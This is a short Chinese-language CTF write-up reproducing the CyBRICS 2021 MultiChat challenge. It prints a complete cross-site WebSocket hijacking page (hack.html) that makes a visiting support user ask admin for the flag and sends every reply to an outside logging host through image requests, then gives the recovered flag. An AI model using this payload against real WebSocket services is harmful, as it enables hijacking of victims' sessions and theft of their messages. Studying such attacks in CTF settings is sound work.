0%

CyBRICS2021-MultiChat-复现

CyBRICS2021-MultiChat-复现

0x00 前言

首先很兴奋可以参加到这样的比赛,更兴奋的是可以和天枢的大佬们一队。24小时的比赛过程中虽然我本人很绝望,但看到队里的其他大佬们努力攻克题目的样子,还是给了我很大的鼓舞。虽然最后我对团队毫无贡献/(ㄒoㄒ)/~~

感觉和我还算有点关系的就是MultiChat这道题目了。但当时我并没有做出来,之后Sndav解决了这道题,将exp发了出来。所以趁着题目环境还在就来复现一下。

0x01 csrf+webSocket

题目描述:

进去是个用webSocket实现的聊天室,同一个room下可以互相聊天。如果Tech support向admin询问flag,admin便会发送flag给tech support。题目里还有个bug反馈的页面,里面可以向tech support提交反馈。,经过测试,提交的url会被访问。所以思路应该是跨站请求伪造了。原理在这里讲的挺清楚的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
hack.html
<script>
function appendLog(msg){
document.write(`<img src=https://tet.naman.cool/index.php?a=${escape(msg)}></img>`);
}
ws=new WebSocket("ws://multichat-cybrics2021.ctf.su/ws");
ws.onclose=function (evt){
var item ="";
if(evt.code===1003){
item=`Status:${evt.reason}`;
}else{
item="Connection closed.";
}
appendLog(item);
};
ws.onopen=function(evt){
appendLog("Connented");
ws.send("Hey, i forgot the flag. Can you remind me?")
};
ws.onmessage=function(evt){
appendLog(evt.data)
};
</script>

index.php里的内容随意,主要为了看服务器访问日志

然后查看日志

得到cybrics{Pwn3d_CR055_51t3_W3850CK3t_h1jACK1n9}

0x02 小结

这场比赛还是学到了一些东西的,也增涨了很多经验。比赛时拿到这道题以为要爆破admin和tech support的房间号,然后学这写了个脚本,跑了一下,然后学到了将cpu占满的一种方法(X。